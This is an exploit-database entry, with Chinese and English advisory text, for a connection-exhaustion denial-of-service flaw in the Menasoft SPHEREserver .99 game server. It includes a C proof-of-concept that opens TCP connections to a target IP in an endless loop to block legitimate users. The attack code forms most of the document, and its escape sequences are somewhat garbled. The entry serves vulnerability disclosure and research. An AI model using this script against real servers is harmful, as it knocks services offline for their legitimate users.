https://www.exploit-db.com/exploits/21337
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200207-135

MenasoftSPHEREserver.99是一款在线角色扮演游戏服务器。MenasoftSPHEREserver.99存在一个拒绝服务漏洞。MenasoftSPHEREserver.99在配置中没有对IP进行限制，因此任何人可以多次连接服务器，而且任意一个客户端可以不需要用户鉴别进行连接，因此就存在客户端可以对服务器连接达到最大连接数而拒绝对其他用户的响应。

source: http://www.securityfocus.com/bid/4258/info

Menasoft SPHEREserver .99 is an online role playing game server. It is vulnerable to a denial of service; multiple connections to the server can be made from a single machine, exhausting available connections and denying connections to legitimate users.

/*
 *
 * www.h07.org
 * H Zero Seven
 * Unix Security Research Team
 *
 * Sphere Ultima Online Server - Denial of Service Vulnerability
 * poc-exploit...
 *
 * Simple code to eat all connections from the gameserver, so other
 * peoples could not connect to the server.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
   int fd;
   struct sockaddr_in tgt;

   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) return -1;
   memset(&tgt,0,sizeof(struct sockaddr_in));
   tgt.sin_port = htons(port);
   tgt.sin_family = AF_INET;
   tgt.sin_addr.s_addr = ip;
   if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)
return -1;
   return fd;
}

int sprint(int fd, const char *str,...)
{
   va_list args;
   char buf[4096];
   memset(&buf,0,sizeof(buf));
   va_start(args,str);
   vsnprintf(buf,sizeof(buf),str,args);
   return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
   int fd;
   struct sockaddr_in box;

   fprintf(stderr, "SphereServer DoS Exploit [poc]n");
   fprintf(stderr, "H Zero Seven - Unix Security Research Team -
www.h07.orgnn");
   if (argc < 2) {
      fprintf(stderr, "usage: %s <sphere ip> [sphere port]n",argv[0]);
      return;
   }

   fprintf(stderr,"for the full advisory regarding this vulnerability
visit www.h07.org ... n");
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) {
      perror("socket() ");
      return;
   }

   fprintf(stderr,"Attacking sphere : ");
   for (;;) {
      int sock;

      sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
      if (sock<0) {
         sleep(10);
         continue;
      }
       fprintf(stderr, ".*");
   }
}

来源:BID
名称:4258
链接:http://www.securityfocus.com/bid/4258
来源:XF
名称:sphereserver-connections-dos(8338)
链接:http://www.iss.net/security_center/static/8338.php
来源:BUGTRAQ
名称:20020302DenialofServiceinSphereserver
链接:http://online.securityfocus.com/archive/1/259334